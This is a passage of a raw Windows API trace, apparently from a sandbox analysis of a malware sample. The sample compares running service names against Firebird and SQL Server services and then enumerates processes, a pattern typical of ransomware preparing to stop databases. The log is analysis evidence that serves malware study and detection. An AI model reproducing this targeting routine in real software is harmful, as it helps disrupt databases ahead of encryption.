	[0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0174.863] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0174.863] lstrlenW (lpString="CDPSvc") returned 6
	[0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0174.863] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0174.863] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0174.863] lstrlenW (lpString="CryptSvc") returned 8
	[0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0174.864] lstrlenW (lpString="DcomLaunch") returned 10
	[0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0174.864] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0174.864] lstrlenW (lpString="Dhcp") returned 4
	[0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0174.864] lstrlenW (lpString="Dnscache") returned 8
	[0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0174.864] lstrlenW (lpString="DPS") returned 3
	[0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0174.865] lstrlenW (lpString="DsmSvc") returned 6
	[0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0174.865] lstrlenW (lpString="DusmSvc") returned 7
	[0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0174.865] lstrlenW (lpString="EventLog") returned 8
	[0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0174.865] lstrlenW (lpString="EventSystem") returned 11
	[0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0174.865] lstrlenW (lpString="FontCache") returned 9
	[0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0174.865] lstrlenW (lpString="gpsvc") returned 5
	[0174.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0174.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0174.866] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0174.866] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0174.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0174.866] lstrlenW (lpString="iphlpsvc") returned 8
	[0174.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.866] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0174.866] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0174.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0174.866] lstrlenW (lpString="KeyIso") returned 6
	[0174.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0174.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0174.866] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0174.866] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0174.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0174.866] lstrlenW (lpString="LanmanServer") returned 12
	[0174.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.866] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0174.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0174.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0174.866] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0174.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.866] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0174.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0174.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0174.866] lstrlenW (lpString="lfsvc") returned 5
	[0174.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0174.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0174.867] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0174.867] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0174.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0174.867] lstrlenW (lpString="lmhosts") returned 7
	[0174.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0174.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0174.867] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0174.867] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0174.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0174.867] lstrlenW (lpString="LSM") returned 3
	[0174.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0174.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0174.867] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0174.867] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0174.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0174.868] lstrlenW (lpString="MpsSvc") returned 6
	[0174.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.868] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0174.868] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0174.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0174.868] lstrlenW (lpString="NcbService") returned 10
	[0174.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0174.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0174.868] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0174.868] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0174.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0174.869] lstrlenW (lpString="netprofm") returned 8
	[0174.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0174.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0174.869] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0174.869] lstrlenW (lpString="NgcSvc") returned 6
	[0174.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0174.869] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0174.869] lstrlenW (lpString="NlaSvc") returned 6
	[0174.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0174.869] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0174.869] lstrlenW (lpString="nsi") returned 3
	[0174.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0174.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0174.869] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0174.869] lstrlenW (lpString="PcaSvc") returned 6
	[0174.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0174.869] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0174.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0174.869] lstrlenW (lpString="PlugPlay") returned 8
	[0174.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0174.870] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0174.870] lstrlenW (lpString="Power") returned 5
	[0174.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0174.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0174.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0174.870] lstrlenW (lpString="ProfSvc") returned 7
	[0174.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0174.870] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0174.870] lstrlenW (lpString="RpcEptMapper") returned 12
	[0174.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0174.870] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0174.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0174.870] lstrlenW (lpString="RpcSs") returned 5
	[0174.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0174.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0174.871] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0174.871] lstrlenW (lpString="SamSs") returned 5
	[0174.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0174.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0174.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0174.871] lstrlenW (lpString="Schedule") returned 8
	[0174.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0174.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0174.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0174.871] lstrlenW (lpString="SecurityHealthService") returned 21
	[0174.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0174.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0174.872] lstrlenW (lpString="SENS") returned 4
	[0174.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0174.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0174.872] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0174.872] lstrlenW (lpString="ShellHWDetection") returned 16
	[0174.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0174.872] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0174.872] lstrlenW (lpString="Spooler") returned 7
	[0174.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0174.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0174.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0174.872] lstrlenW (lpString="StateRepository") returned 15
	[0174.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0174.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0174.872] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0174.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0174.872] lstrlenW (lpString="SysMain") returned 7
	[0174.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0174.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0174.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0174.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0174.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0174.873] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0174.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0174.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0174.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0174.873] lstrlenW (lpString="Themes") returned 6
	[0174.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0175.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0175.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0175.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0175.018] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0175.018] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5b4
	[0175.025] Process32FirstW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0175.026] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0175.026] lstrlenW (lpString="System") returned 6
	[0175.026] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0175.026] lstrlenW (lpString="smss.exe") returned 8
	[0175.027] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.027] lstrlenW (lpString="csrss.exe") returned 9
	[0175.027] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0175.027] lstrlenW (lpString="wininit.exe") returned 11
	[0175.027] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.028] lstrlenW (lpString="csrss.exe") returned 9
	[0175.028] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0175.028] lstrlenW (lpString="winlogon.exe") returned 12
	[0175.028] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0175.029] lstrlenW (lpString="services.exe") returned 12
	[0175.029] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0175.029] lstrlenW (lpString="lsass.exe") returned 9
	[0175.029] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.030] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.030] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.030] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.030] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
